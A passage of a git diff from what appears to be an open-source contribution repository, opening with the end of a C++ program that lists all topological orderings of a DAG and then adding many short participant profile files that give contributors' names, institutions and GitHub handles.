(path.size() == n) { + printPath(path); + } +} + +// Print all topological orderings of a given DAG +void printAllTopologicalOrders(Graph &graph) +{ + // get the total number of nodes in the graph + int n = graph.adjList.size(); + + // create an auxiliary array to keep track of whether a vertex is discovered + vector discovered(n); + + // list to store the topological order + list path; + + // find all topological ordering and print them + findAllTopologicalOrderings(graph, path, discovered, n); +} + +int main() +{ + // vector of graph edges as per the above diagram + vector edges = + { + {0, 6}, {1, 2}, {1, 4}, {1, 6}, {3, 0}, + {3, 4}, {5, 1}, {7, 0}, {7, 1} + }; + + // total number of nodes in the graph (labelled from 0 to 7) + int n = 8; + + // build a graph from the given edges + Graph graph(edges, n); + + // print all topological ordering of the graph + printAllTopologicalOrders(graph); + + return 0; +} \ No newline at end of file diff --git a/content/participant/Trishan.md b/content/participant/Trishan.md new file mode 100644 index 00000000000..91d73727ca4 --- /dev/null +++ b/content/participant/Trishan.md @@ -0,0 +1,5 @@ +--- +name: Trishan Wagle +institution: InnoVisionX +github: trishan9 +--- diff --git a/content/participant/Tushant_Rangari.md b/content/participant/Tushant_Rangari.md new file mode 100644 index 00000000000..56375a1d98a --- /dev/null +++ b/content/participant/Tushant_Rangari.md @@ -0,0 +1,5 @@ +--- +name: Tushant Rangari +institution/company: Bapurao Deshmukh College of Engineering +github:tushant07 +--- diff --git a/Add Code Here/JAVASCRIPT/Quote Generator/nikestore/style.css b/content/participant/Ujjwal.md similarity index 100% rename from Add Code Here/JAVASCRIPT/Quote Generator/nikestore/style.css rename to content/participant/Ujjwal.md diff --git a/content/participant/Umang_Dakh.md b/content/participant/Umang_Dakh.md new file mode 100644 index 00000000000..e544f98e97d --- /dev/null +++ b/content/participant/Umang_Dakh.md @@ -0,0 +1,5 @@ +--- +Name: Umang Dakh +Institution/company: Poornima College of Engineering +Github: Denny-UD +--- diff --git a/content/participant/Urielglb.md b/content/participant/Urielglb.md new file mode 100644 index 00000000000..e6f60d2eb4a --- /dev/null +++ b/content/participant/Urielglb.md @@ -0,0 +1,5 @@ +--- +name: Uriel García Luna Bobadilla +institution/company: UNAM / We Notio +github: Urielglb +--- \ No newline at end of file diff --git a/content/participant/UttamBindal.md b/content/participant/UttamBindal.md new file mode 100644 index 00000000000..dec27871694 --- /dev/null +++ b/content/participant/UttamBindal.md @@ -0,0 +1,5 @@ +--- +name: Uttam Bindal +institution/company: Sir M. Visvesvaraya Institute of Tecnology +github:UttamBindal +--- \ No newline at end of file diff --git a/content/participant/Uzairhussain98.md b/content/participant/Uzairhussain98.md new file mode 100644 index 00000000000..65901f4ef12 --- /dev/null +++ b/content/participant/Uzairhussain98.md @@ -0,0 +1,5 @@ +--- +name: Uzair Hussain +institution/company: PIAIC +github: Uzairhussain98 +--- diff --git a/content/participant/Vaibhav05.md b/content/participant/Vaibhav05.md new file mode 100644 index 00000000000..d74bbbaf15f --- /dev/null +++ b/content/participant/Vaibhav05.md @@ -0,0 +1,5 @@ +--- +name: Vaibhav Khandelwal +institution/company: National Institute of Technology Warangal +github: Vaibhav-Khandelwal05 +--- diff --git a/content/participant/VaishnveeShinde.md.txt b/content/participant/VaishnveeShinde.md.txt new file mode 100644 index 00000000000..4791939feaf --- /dev/null +++ b/content/participant/VaishnveeShinde.md.txt @@ -0,0 +1,3 @@ +name: Vaishnvee Shinde +institution/company: Altimetrik +github:Vaishnvee-Shinde \ No newline at end of file diff --git a/content/participant/VarunTx.md b/content/participant/VarunTx.md new file mode 100644 index 00000000000..3bdcae3c863 --- /dev/null +++ b/content/participant/VarunTx.md @@ -0,0 +1,5 @@ +--- +name: Varun Talari +institution/company: IIITDM Kancheepuram +github: VarunTx +--- \ No newline at end of file diff --git a/content/participant/VertexAssassins.md b/content/participant/VertexAssassins.md new file mode 100644 index 00000000000..901edf2b037 --- /dev/null +++ b/content/participant/VertexAssassins.md @@ -0,0 +1,5 @@ +--- +name: David Gillick +institution/company: Student at University College Dublin +github: VertexAssassins +--- \ No newline at end of file diff --git a/content/participant/Vikas14Web.md b/content/participant/Vikas14Web.md new file mode 100644 index 00000000000..fc597a84f0a --- /dev/null +++ b/content/participant/Vikas14Web.md @@ -0,0 +1,5 @@ +--- +name: Vikas Singh Chouhan +institution/company: Pluralsight, Bengaluru +github: Vikas14Web +--- \ No newline at end of file diff --git a/content/participant/Vincent.md b/content/participant/Vincent.md new file mode 100644 index 00000000000..01afc0096d2 --- /dev/null +++ b/content/participant/Vincent.md @@ -0,0 +1,9 @@ +--- + +name: Vincent Sabastian + +institution: BC Institute + +github: https://github.com/VincentVanTaro + +--- diff --git a/content/participant/Vishal.md b/content/participant/Vishal.md index 35b8b5ba1ed..8529309e536 100644 --- a/content/participant/Vishal.md +++ b/content/participant/Vishal.md @@ -1,9 +1,5 @@ --- - -name: Vishal Kesharwani - -institution/company: Government College of engineering Nagpur - -github:https://github.com/vishal10kesharwani/ - +name: Vishal +institution: Delhi Institute of Engineering +github: https://github.com/vishalrock1912 --- diff --git a/content/participant/VishalRashmika.md b/content/participant/VishalRashmika.md new file mode 100644 index 00000000000..e28f71137d6 --- /dev/null +++ b/content/participant/VishalRashmika.md @@ -0,0 +1,6 @@ +--- +name: Vishal Rashmika +institution/company: FOSS-Syindicate +github:VishalRashmika +--- + diff --git a/content/participant/Vivek-kumar21.md b/content/participant/Vivek-kumar21.md new file mode 100644 index 00000000000..4e0371e8c75 --- /dev/null +++ b/content/participant/Vivek-kumar21.md @@ -0,0 +1,28 @@ +--- +# VIVEK KUMAR MANDAL + +### Location + +Kolkata / India + +### Academics + +- Institute of Engineering and Management, Kolkata + +### Interests + +- Badminton +- Chess +- Sketching + +### Development + +- HTML +- CSS +- JavaScript +- React +- Tailwind + +### Profile Link + +Go to profile [Vivek-kumar21](https://github.com/Vivek-kumar21) diff --git a/content/participant/Wrrikk.md b/content/participant/Wrrikk.md new file mode 100644 index 00000000000..e616db2f882 --- /dev/null +++ b/content/participant/Wrrikk.md @@ -0,0 +1,5 @@ +--- +name: ANIRBAN ROY +institution/company: IIEST SHIBPUR +github: WRRIKK +--- diff --git a/content/participant/Xnuvers007.md b/content/participant/Xnuvers007.md new file mode 100644 index 00000000000..fd25eb0bbe9 --- /dev/null +++ b/content/participant/Xnuvers007.md @@ -0,0 +1,5 @@ +--- +name: Xnuvers007 +institution/company: Pamulang University +github: Xnuvers007 +--- diff --git a/content/participant/YakuTheTechie.md b/content/participant/YakuTheTechie.md new file mode 100644 index 00000000000..427fdfe83d5 --- /dev/null +++ b/content/participant/YakuTheTechie.md @@ -0,0 +1,6 @@ +--- +name: YakuTheTechie +institution/company: Supreme Knowledge Foundation Group of Institutions +github: https://github.com/yakumwamba +twitter: https://twitter.com/BrianLemba +--- diff --git a/content/participant/YashKumar.md b/content/participant/YashKumar.md new file mode 100644 index 00000000000..b2c373b74d3 --- /dev/null +++ b/content/participant/YashKumar.md @@ -0,0 +1,3 @@ +name: Yash Kumar Shrivas +institution/company: Bhilai Institute of Technology , Durg +github: Obito9596 diff --git a/content/participant/Yashsomalkar.md b/content/participant/Yashsomalkar.md new file mode 100644 index 00000000000..02451f8ca35 --- /dev/null +++ b/content/participant/Yashsomalkar.md @@ -0,0 +1,5 @@ +--- +name: Yashsomalkar +institution/company: IIT(BHU)Varanasi +github: Yashsomalkar +--- \ No newline at end of file diff --git a/content/participant/YentlHendrickx.md b/content/participant/YentlHendrickx.md new file mode 100644 index 00000000000..dd9f44e5e10 --- /dev/null +++ b/content/participant/YentlHendrickx.md @@ -0,0 +1,5 @@ +--- +name: Yentl Hendrickx +institution/company: Thomas More Geel +github: YentlHendrickx +--- diff --git a/content/participant/Yogesh_Shamlin_Shinanth.md b/content/participant/Yogesh_Shamlin_Shinanth.md new file mode 100644 index 00000000000..7d7500ff3f0 --- /dev/null +++ b/content/participant/Yogesh_Shamlin_Shinanth.md @@ -0,0 +1,31 @@ +--- +# YOGESH SHAMLIN SHINANTH + +### Location + +Chennai / India + +### Academics +- pursuing Bachelors in Computer Science +- +### Interests + +- + Open Sourcing +- + Web Development +- + App development + +### Development + +- Web development +- iOS development +- Flutter/ React Native development + + +### Projects + +> GRACE ELECTRIC VEHICLES WEBSITE +- [Grace EV Website ](https://github.com/YOGESHnick/Grace-Electric-Vehicles) +> +### Profile Link + +Go to profile [YOGESHnick](https://github.com/YOGESHnick/) diff --git a/content/participant/aakash.md b/content/participant/aakash.md new file mode 100644 index 00000000000..20527ff9d3f --- /dev/null +++ b/content/participant/aakash.md @@ -0,0 +1,5 @@ +--- +name: Aakash Shrestha +institution: VTU +github: github.com/aakash-22ak +--- diff --git a/content/participant/aakashvani.md b/content/participant/aakashvani.md new file mode 100644 index 00000000000..63b42c57824 --- /dev/null +++ b/content/participant/aakashvani.md @@ -0,0 +1,5 @@ +--- +name: AAKASH KUMAR +institution/company: NIRMAAN.ORG, INDIA +github: https://github.com/Aakashvani +--- \ No newline at end of file diff --git a/content/participant/aasthad27.md b/content/participant/aasthad27.md new file mode 100644 index 00000000000..bf7f7c35fae --- /dev/null +++ b/content/participant/aasthad27.md @@ -0,0 +1,5 @@ +--- +name: Aastha Dubey +institution/company: Graphic Era Deemed To Be University Dehradun +github:aasthad27 +--- diff --git a/content/participant/aatmansp.md b/content/participant/aatmansp.md new file mode 100644 index 00000000000..6bdcac144d7 --- /dev/null +++ b/content/participant/aatmansp.md @@ -0,0 +1,5 @@ +--- +name: Aatman Pradhan +institution/company: - +github:aatmansp +--- \ No newline at end of file diff --git a/content/participant/abee62.md b/content/participant/abee62.md new file mode 100644 index 00000000000..4ffb902ff4d --- /dev/null +++ b/content/participant/abee62.md @@ -0,0 +1,5 @@ +--- +name: ABHIRAMI R +institution/company: IIT (BHU) VARANASI +github:ABEE62 +--- \ No newline at end of file diff --git a/content/participant/abhi33781.md b/content/participant/abhi33781.md new file mode 100644 index 00000000000..fa74aabe4b9 --- /dev/null +++ b/content/participant/abhi33781.md @@ -0,0 +1,5 @@ +--- +name: Abhishek Kumar +institution/company: National Institute of Technology, Jamshedpur +github: abhi33781 +--- diff --git a/content/participant/abhishek1.md b/content/participant/abhishek1.md new file mode 100644 index 00000000000..32e77976786 --- /dev/null +++ b/content/participant/abhishek1.md @@ -0,0 +1,5 @@ +--- +name: Abhishek +institution/company: College of Technology And Engineering +github: abhisheksonii +--- \ No newline at end of file diff --git a/content/participant/abhishekb13402 b/content/participant/abhishekb13402 new file mode 100644 index 00000000000..7c7b8d85979 --- /dev/null +++ b/content/participant/abhishekb13402 @@ -0,0 +1,5 @@ +--- +name: Abhishek Bhatt +institution/company: Sardar Vallabhbhai Patel Institute of Technology +github: abhishekb13402 +--- diff --git a/content/participant/abilsabili50.md b/content/participant/abilsabili50.md new file mode 100644 index 00000000000..4e659cb3d22 --- /dev/null +++ b/content/participant/abilsabili50.md @@ -0,0 +1,5 @@ +--- +name: Muh. Sabili Nurilhaq +institution/company: UPN "Veteran" East Java +github: abilsabili50 +--- \ No newline at end of file diff --git a/content/participant/abirhasanorhi.md b/content/participant/abirhasanorhi.md new file mode 100644 index 00000000000..454a57b6912 --- /dev/null +++ b/content/participant/abirhasanorhi.md @@ -0,0 +1,5 @@ +--- +Name: Abir Hasan Ohi +institution/company: Pabna Zilla School +github: https://github.com/abirhasanohi +--- diff --git a/content/participant/adarsh-jha-dev.md b/content/participant/adarsh-jha-dev.md new file mode 100644 index 00000000000..281cff70feb --- /dev/null +++ b/content/participant/adarsh-jha-dev.md @@ -0,0 +1,3 @@ +name: Adarsh Jha +institution/company: Heritage Institute of Technology, Kolkata +github: adarsh-jha-dev diff --git a/content/participant/adeity21.md b/content/participant/adeity21.md new file mode 100644 index 00000000000..1920655b2f4 --- /dev/null +++ b/content/participant/adeity21.md @@ -0,0 +1,4 @@ +name: Aditi Khanna +institution: IIT BHU, Varanasi +github: adeity21 +--- diff --git a/content/participant/adit26data.md b/content/participant/adit26data.md new file mode 100644 index 00000000000..c2e5a33d5fb --- /dev/null +++ b/content/participant/adit26data.md @@ -0,0 +1,5 @@ +--- +name: Adit Kaushal +institution/company: Vellore Institute of Technology, Vellore, India +github: adit26data +--- diff --git a/content/participant/aditikesarwani.md b/content/participant/aditikesarwani.md new file mode 100644 index 00000000000..ad8779eadd5 --- /dev/null +++ b/content/participant/aditikesarwani.md @@ -0,0 +1,5 @@ +--- +Name: Aditi Kesarwani +institution/company: IGDTUW, Delhi +github: https://github.com/aditi1042003 +--- \ No newline at end of file diff --git a/content/participant/aditya99prakash.md b/content/participant/aditya99prakash.md new file mode 100644 index 00000000000..cee4c2735ae --- /dev/null +++ b/content/participant/aditya99prakash.md @@ -0,0 +1,2 @@ +name :Aditya Prakash +github: aditya99prakash diff --git a/content/participant/adityaBhate.md b/content/participant/adityaBhate.md new file mode 100644 index 00000000000..4fad2bfac79 --- /dev/null +++ b/content/participant/adityaBhate.md @@ -0,0 +1,5 @@ +--- +name :Aditya Bhate +institution/company: insightsClub +github: adityaBhate +--- diff --git a/content/participant/adityasharma270103.md b/content/participant/adityasharma270103.md new file mode 100644 index 00000000000..0cab1a46361 --- /dev/null +++ b/content/participant/adityasharma270103.md @@ -0,0 +1,5 @@ +--- +name: ADITYA SHARMA +institution/company: INDIAN INSTITUTE OF INFORMATION TECHNOLOGY KALYANI +github:adityasharma270103 +--- diff --git a/content/participant/adkbbx.md b/content/participant/adkbbx.md new file mode 100644 index 00000000000..9d8a2bb3976 --- /dev/null +++ b/content/participant/adkbbx.md @@ -0,0 +1,5 @@ +--- +name: Akshay Dilip Kumar +institution/company: Reva University +github:adkbbx +--- \ No newline at end of file diff --git a/content/participant/afra07.md b/content/participant/afra07.md new file mode 100644 index 00000000000..39b21943c48 --- /dev/null +++ b/content/participant/afra07.md @@ -0,0 +1,5 @@ +--- +name: Afra Sherin +institution/company: Emea Arts and Science College, Kondotty, Kerala +github: afra07 +--- \ No newline at end of file diff --git a/content/participant/agrshrey.md b/content/participant/agrshrey.md index 2fc2bd52d3b..6a1da0165ae 100644 --- a/content/participant/agrshrey.md +++ b/content/participant/agrshrey.md @@ -1 +1 @@ -name: Shreyansh Agrawal institution/company: NSIT github: shreyansh-agrawal2020 \ No newline at end of file +name: Shreyansh Agrawal institution/company: NSIT github: shreyansh-agrawal2020 diff --git a/content/participant/ajayanuragi.md b/content/participant/ajayanuragi.md new file mode 100644 index 00000000000..7a749eaf449 --- /dev/null +++ b/content/participant/ajayanuragi.md @@ -0,0 +1,5 @@ +--- +name: Ajay Anuragi +institution: GMC +github: ajayanuragi +--- \ No newline at end of file diff --git a/content/participant/ajayfaul.md b/content/participant/ajayfaul.md new file mode 100644 index 00000000000..8717e71e889 --- /dev/null +++ b/content/participant/ajayfaul.md @@ -0,0 +1,5 @@ +--- +Name: M Fajar Maulana +Institution: Indonesia Computer University +Github: ajayfaul +--- diff --git a/content/participant/ajmalmohad.md b/content/participant/ajmalmohad.md new file mode 100644 index 00000000000..9dfc04884ed --- /dev/null +++ b/content/participant/ajmalmohad.md @@ -0,0 +1,5 @@ +--- +name: Muhammed Ajmal M +institution/company: Jyothi Engineering College +github: ajmalmohad +--- \ No newline at end of file diff --git a/content/participant/akagami-harsh.md b/content/participant/akagami-harsh.md new file mode 100644 index 00000000000..154f473806c --- /dev/null +++ b/content/participant/akagami-harsh.md @@ -0,0 +1,5 @@ +--- +name: Harshvir Potpose +institution/company: Jabalpur engineering collage , jabalpur +github: akagami-harsh +--- \ No newline at end of file diff --git a/content/participant/akash_tripathi_new.md b/content/participant/akash_tripathi_new.md new file mode 100644 index 00000000000..86149091359 --- /dev/null +++ b/content/participant/akash_tripathi_new.md @@ -0,0 +1,7 @@ + + +--- +name: SAkash Tripthi +institution/company: Infosys +github:hithisisat +--- diff --git a/content/participant/akbar.md b/content/participant/akbar.md new file mode 100644 index 00000000000..f20a925072e --- /dev/null +++ b/content/participant/akbar.md @@ -0,0 +1,5 @@ +--- +name: akbar +institution/company: - Jamia +github: https://github.com/Akbar-Ahmed +--- \ No newline at end of file diff --git a/content/participant/aks700.md b/content/participant/aks700.md new file mode 100644 index 00000000000..18d5926dc85 --- /dev/null +++ b/content/participant/aks700.md @@ -0,0 +1,5 @@ +--- +name: Akshat +institution/company: Maharaja Agrasen Institute of Technology +github: aks700 +--- \ No newline at end of file diff --git a/content/participant/akshay10k.md b/content/participant/akshay10k.md new file mode 100644 index 00000000000..ef4a3c98967 --- /dev/null +++ b/content/participant/akshay10k.md @@ -0,0 +1,5 @@ +--- +name: Akshay Kumar +institution/company: IIT BHU +github: akshay10k +--- \ No newline at end of file diff --git a/content/participant/akshayknz.md b/content/participant/akshayknz.md new file mode 100644 index 00000000000..e6e89595b69 --- /dev/null +++ b/content/participant/akshayknz.md @@ -0,0 +1,5 @@ +--- +name: Akshay KNZ +institution/company: Holy grace mala +github: akshayknz +--- \ No newline at end of file diff --git a/content/participant/alseny.md b/content/participant/alseny.md new file mode 100644 index 00000000000..e56b6f2366e --- /dev/null +++ b/content/participant/alseny.md @@ -0,0 +1,5 @@ +--- +name: alseny +institution/company: 0S3 TEAM, Senegal +Github: alseny-diallo +--- \ No newline at end of file diff --git a/content/participant/amanjn38.md b/content/participant/amanjn38.md new file mode 100644 index 00000000000..4c304bb6620 --- /dev/null +++ b/content/participant/amanjn38.md @@ -0,0 +1,5 @@ +--- +name: Aman Jain +institution/company: Bits Hyderabad +github: amanjn38 +--- \ No newline at end of file diff --git a/content/participant/amankumar6.md b/content/participant/amankumar6.md new file mode 100644 index 00000000000..482716a32de --- /dev/null +++ b/content/participant/amankumar6.md @@ -0,0 +1,5 @@ +--- +name: Aman Kumar +institution/company: Deloitte +github: amankumar6 +--- \ No newline at end of file diff --git a/content/participant/amankumarsahani.md b/content/participant/amankumarsahani.md new file mode 100644 index 00000000000..44869d99c7a --- /dev/null +++ b/content/participant/amankumarsahani.md @@ -0,0 +1,5 @@ +--- +name: AMAN KUMAR SAHANI +institution/company: I.K GUJRAL PUNJAB TECHNICAL UNIVERSITY +github: amankumarsahani +--- \ No newline at end of file diff --git a/content/participant/amanrOnly.md b/content/participant/amanrOnly.md new file mode 100644 index 00000000000..e373353f0fb --- /dev/null +++ b/content/participant/amanrOnly.md @@ -0,0 +1,5 @@ +--- +name: Aman +institution/company: NSIT +github:amanrOnly +--- diff --git a/content/participant/amitsvg.md b/content/participant/amitsvg.md new file mode 100644 index 00000000000..1f942506898 --- /dev/null +++ b/content/participant/amitsvg.md @@ -0,0 +1,5 @@ +--- +name: Amit Kumar +institution/company: Institute of Engineering and Management Kolkata +github:amitsvg +--- \ No newline at end of file diff --git a/content/participant/anandamideShakyan.md b/content/participant/anandamideShakyan.md new file mode 100644 index 00000000000..5c8214a26df --- /dev/null +++ b/content/participant/anandamideShakyan.md @@ -0,0 +1,4 @@ +Name institution/company github +Shakyan Kushwaha +Indian Institute of Information Technology Jabalpur +https://github.com/anandamideShakyan diff --git a/content/participant/ananyapam7.md b/content/participant/ananyapam7.md new file mode 100644 index 00000000000..29e3220e140 --- /dev/null +++ b/content/participant/ananyapam7.md @@ -0,0 +1,3 @@ +name: Ananyapam De +institution: Indian Institute of Science Education and Research, Kolkata +github: ananyapam7 diff --git a/content/participant/andrelmmartins.md b/content/participant/andrelmmartins.md new file mode 100644 index 00000000000..91f4c4b5597 --- /dev/null +++ b/content/participant/andrelmmartins.md @@ -0,0 +1,5 @@ +--- +name: André Martins +institution: UFCG +github: andrelmmartins +--- diff --git a/content/participant/andrey.md b/content/participant/andrey.md new file mode 100644 index 00000000000..d8aa1a894c0 --- /dev/null +++ b/content/participant/andrey.md @@ -0,0 +1,5 @@ +--- +name: Andrey Balbino +institution/company: Uninassau +github:drknssAndrey +--- \ No newline at end of file diff --git a/content/participant/angrygeeky.md b/content/participant/angrygeeky.md new file mode 100644 index 00000000000..30ac8a2ccb2 --- /dev/null +++ b/content/participant/angrygeeky.md @@ -0,0 +1,5 @@ +--- +name:Aman Kumar +institution/company: NIT Jamshedpur +github:angrygeeky +--- diff --git a/content/participant/aniket3063.md b/content/participant/aniket3063.md new file mode 100644 index 00000000000..ac1e2da0de9 --- /dev/null +++ b/content/participant/aniket3063.md @@ -0,0 +1,5 @@ +--- +name: ANIKET KUMAR +institution/company: Netaji Subhas University of Technology, New Delhi +github: Aniket3063 +--- diff --git a/content/participant/anirudhbelwadi.md b/content/participant/anirudhbelwadi.md new file mode 100644 index 00000000000..e3eb7846219 --- /dev/null +++ b/content/participant/anirudhbelwadi.md @@ -0,0 +1,5 @@ +--- +name: Anirudh Belwadi +institution/company: Reliance Jio +github: anirudhbelwadi +--- diff --git a/content/participant/anisha_xtha.md b/content/participant/anisha_xtha.md new file mode 100644 index 00000000000..663eb23cea3 --- /dev/null +++ b/content/participant/anisha_xtha.md @@ -0,0 +1,5 @@ +--- +name: Anisha Nayaju +institution/company: Padmakanya Multiple Campus +github: anishaxtha +--- \ No newline at end of file diff --git a/content/participant/anishkashukla.md b/content/participant/anishkashukla.md new file mode 100644 index 00000000000..b098780f86a --- /dev/null +++ b/content/participant/anishkashukla.md @@ -0,0 +1,5 @@ +--- +name: Anishka Shukla +institution/company: RedHunt Labs +github:anishkashukla +--- \ No newline at end of file diff --git a/content/participant/anjali-kundliya05.md b/content/participant/anjali-kundliya05.md new file mode 100644 index 00000000000..7ed4bd41bae --- /dev/null +++ b/content/participant/anjali-kundliya05.md @@ -0,0 +1,5 @@ +Name: Anjali Kundliya + +Institution: SRCASW, University of Delhi + +GitHub: anjali-kundliya05 diff --git a/content/participant/anju.md b/content/participant/anju.md new file mode 100644 index 00000000000..f8e464fa796 --- /dev/null +++ b/content/participant/anju.md @@ -0,0 +1,5 @@ +--- +name: Anjali P M +institution/company: Midhun K +github: thisisanjalii +--- \ No newline at end of file diff --git a/content/participant/anki009.md b/content/participant/anki009.md new file mode 100644 index 00000000000..a6a89ad6cfc --- /dev/null +++ b/content/participant/anki009.md @@ -0,0 +1,5 @@ +--- +name: Ankita Mhatre +institution/company: Dr. Babasaheb Ambedkar Technological University +github: https://github.com/anki009 +--- diff --git a/content/participant/ankit9958.md b/content/participant/ankit9958.md new file mode 100644 index 00000000000..f5ab2812891 --- /dev/null +++ b/content/participant/ankit9958.md @@ -0,0 +1,33 @@ +--- + +# ANKIT KUMAR SINGH + +### Location + +Noida, India + +### Academics + +- Btech from NIT Jamshedpur +- + +### Interests + +-COding , Drawing + +### Development + +- Web Development +- Android Development +- + +### Projects + +> Heading + +- [Node Farm](https://github.com/ankit9958/Node-Farm.git) + > + +### Profile Link + +Go to profile [ankit9958](https://github.com/ankit9958/) diff --git a/content/participant/ankita.md b/content/participant/ankita.md index 22c8b8d4980..3d7bf9d273a 100644 --- a/content/participant/ankita.md +++ b/content/participant/ankita.md @@ -1,5 +1,5 @@ ---- -name: Ankita Modi -institution/company: SN Patel Institute Of Technology -github:sanu-020 ---- \ No newline at end of file +--- +name: Ankita Patil +institution/company: Ramaiah Institute of Technology, Bangalore +github: DarkSpy25 +--- diff --git a/content/participant/ankushmallick1100.md b/content/participant/ankushmallick1100.md new file mode 100644 index 00000000000..3d288bc4dc0 --- /dev/null +++ b/content/participant/ankushmallick1100.md @@ -0,0 +1,5 @@ +--- +name: Ankush Mallick +institution: JIS University +github: ankushmallick1100 +--- \ No newline at end of file diff --git a/content/participant/ankushroy25.md b/content/participant/ankushroy25.md new file mode 100644 index 00000000000..e28c75a7857 --- /dev/null +++ b/content/participant/ankushroy25.md @@ -0,0 +1,5 @@ +--- +name: Ankush Roy +institution/company: Heritage Institute of Technology, Kolkata +github: ankushroy25 +--- \ No newline at end of file diff --git a/content/participant/anldrms.md b/content/participant/anldrms.md new file mode 100644 index 00000000000..4b3a7dcb678 --- /dev/null +++ b/content/participant/anldrms.md @@ -0,0 +1,5 @@ +--- +name: Anil Durmus +institution/company: TRENDYOL +github:anldrms +--- diff --git a/content/participant/anubhavchawla2071.md b/content/participant/anubhavchawla2071.md new file mode 100644 index 00000000000..75f8fe848f5 --- /dev/null +++ b/content/participant/anubhavchawla2071.md @@ -0,0 +1,5 @@ +--- +name: Anubhav Chawla +institution/company: Thapar Institute of Engineering and Technology, Patiala +github: anubhavchawla2071 +--- \ No newline at end of file diff --git a/content/participant/anucodes.md b/content/participant/anucodes.md new file mode 100644 index 00000000000..713a108b61f --- /dev/null +++ b/content/participant/anucodes.md @@ -0,0 +1,5 @@ +--- +name: anu +institution/company: GLS University +github: anucodes +--- \ No newline at end of file diff --git a/content/participant/any-mesh.md b/content/participant/any-mesh.md new file mode 100644 index 00000000000..010a6b75ad8 --- /dev/null +++ b/content/participant/any-mesh.md @@ -0,0 +1,5 @@ +--- +name: ANIMESH KUMAR SINGH +institution/company: KIET +github: any-mesh +--- diff --git a/content/participant/arijit2002.md b/content/participant/arijit2002.md new file mode 100644 index 00000000000..51c9aa8df01 --- /dev/null +++ b/content/participant/arijit2002.md @@ -0,0 +1,5 @@ +--- +name: Arijit Das +institution/company: IEM,Kolkata +github: arijit2002 +--- diff --git a/content/participant/arjun_sharma.md b/content/participant/arjun_sharma.md new file mode 100644 index 00000000000..f6f5555fffb --- /dev/null +++ b/content/participant/arjun_sharma.md @@ -0,0 +1,5 @@ +--- +name: Arjun sharma +institution/company: Rajasthan Technological University +github: horizoninversion +--- diff --git a/content/participant/arjuncvinod.md b/content/participant/arjuncvinod.md new file mode 100644 index 00000000000..6a7b2ca041c --- /dev/null +++ b/content/participant/arjuncvinod.md @@ -0,0 +1,5 @@ +--- +name: Arjun C Vinod +institution/company: RIT Kottayam +github: arjuncvinod +--- diff --git a/content/participant/arnav3094.md b/content/participant/arnav3094.md new file mode 100644 index 00000000000..6ba5d36641a --- /dev/null +++ b/content/participant/arnav3094.md @@ -0,0 +1,16 @@ +--- +# Arnav Mangla + +### Location +Goa, India + +### Academics +- BITS Pilani KK Birla Goa Campus (CSE 2026) + +### Interests +- Cooking +- Coding + +### Profile Link + +Go to profile [Arnav3094](https://github.com/Arnav3094/) \ No newline at end of file diff --git a/content/participant/arpana.md b/content/participant/arpana.md new file mode 100644 index 00000000000..79ae3c3f7ed --- /dev/null +++ b/content/participant/arpana.md @@ -0,0 +1,3 @@ +name: Arpana Sitoula +institution: TU +github: github.com/Arpana-Sitoula \ No newline at end of file diff --git a/content/participant/ashharr.md b/content/participant/ashharr.md new file mode 100644 index 00000000000..29c29831e79 --- /dev/null +++ b/content/participant/ashharr.md @@ -0,0 +1,5 @@ +--- +name: ashhar +institution/company: HT +github: ashharr +--- \ No newline at end of file diff --git a/content/participant/ashishratre404.md b/content/participant/ashishratre404.md new file mode 100644 index 00000000000..ac2f35011d4 --- /dev/null +++ b/content/participant/ashishratre404.md @@ -0,0 +1,5 @@ +--- +name: Ashish Ratre +institution/company: Guardinex Inc +github: ashishratre404 +--- \ No newline at end of file diff --git a/content/participant/asifurrahmanpial.md b/content/participant/asifurrahmanpial.md new file mode 100644 index 00000000000..7c9c4465bb9 --- /dev/null +++ b/content/participant/asifurrahmanpial.md @@ -0,0 +1,5 @@ +--- +name: Asifur Rahman +institution/company: KeyB Imports +github: asifurrahmanpial +--- \ No newline at end of file diff --git a/content/participant/asvirts.md b/content/participant/asvirts.md new file mode 100644 index 00000000000..51c4f2c04c1 --- /dev/null +++ b/content/participant/asvirts.md @@ -0,0 +1,5 @@ +--- +name: Andrew Virts +institution/company: Stuller +github: asvirts +--- \ No newline at end of file diff --git a/content/participant/ava-f08.md b/content/participant/ava-f08.md new file mode 100644 index 00000000000..4073b849076 --- /dev/null +++ b/content/participant/ava-f08.md @@ -0,0 +1,5 @@ +--- +name: Ava Furtado +institution/company: Newport High School +github:ava-f08 +--- diff --git a/content/participant/avinash_biradar.md b/content/participant/avinash_biradar.md new file mode 100644 index 00000000000..44568c7ca29 --- /dev/null +++ b/content/participant/avinash_biradar.md @@ -0,0 +1,5 @@ +--- +name: Avinash Vishnu Biradar +institution: Walchand College of Engineering, Sangli +github: https://github.com/avibiradar100 +--- diff --git a/content/participant/avnesh141.md b/content/participant/avnesh141.md new file mode 100644 index 00000000000..f50fc777e2a --- /dev/null +++ b/content/participant/avnesh141.md @@ -0,0 +1,5 @@ +--- +name: Avnesh Kumar +institution: IIT BHU,VARANASI +github: avnesh141 +--- diff --git a/content/participant/ayushete02.md b/content/participant/ayushete02.md new file mode 100644 index 00000000000..6db152e64af --- /dev/null +++ b/content/participant/ayushete02.md @@ -0,0 +1,6 @@ +--- +Name: Ayush Shete +institution/company: Shri Ramdeobaba College of Engineering and Management +github: ayushete02 +github-link: https://github.com/ayushete02 +--- diff --git a/content/participant/ayushkx.md b/content/participant/ayushkx.md new file mode 100644 index 00000000000..604ea0dc521 --- /dev/null +++ b/content/participant/ayushkx.md @@ -0,0 +1,3 @@ +name: Ayush Kushwaha +institution/company: JSS Academy Of Technical Education , Noida +github: ayushkx diff --git a/content/participant/ayushmankoley.md b/content/participant/ayushmankoley.md new file mode 100644 index 00000000000..eb7b4a63641 --- /dev/null +++ b/content/participant/ayushmankoley.md @@ -0,0 +1,5 @@ +--- +name: Ayushman Koley +institution/company: Institute Of Engineering and Management Kolkata +github: ayushmankoley +--- diff --git a/content/participant/azizarizaldi.md b/content/participant/azizarizaldi.md new file mode 100644 index 00000000000..79b7284ab30 --- /dev/null +++ b/content/participant/azizarizaldi.md @@ -0,0 +1,5 @@ +--- +name: AZIZ ARIF RIZALDI +institution/company: Bandung College of Technology (https://sttbandung.ac.id) +github: azizarizaldi +--- \ No newline at end of file diff --git a/content/participant/babinnepali.md b/content/participant/babinnepali.md new file mode 100644 index 00000000000..ee4c0cf0f77 --- /dev/null +++ b/content/participant/babinnepali.md @@ -0,0 +1,5 @@ +--- +name: Babin Singh Nepali +institution/company: Triton College, Nepal +github: babinnepali +--- \ No newline at end of file diff --git 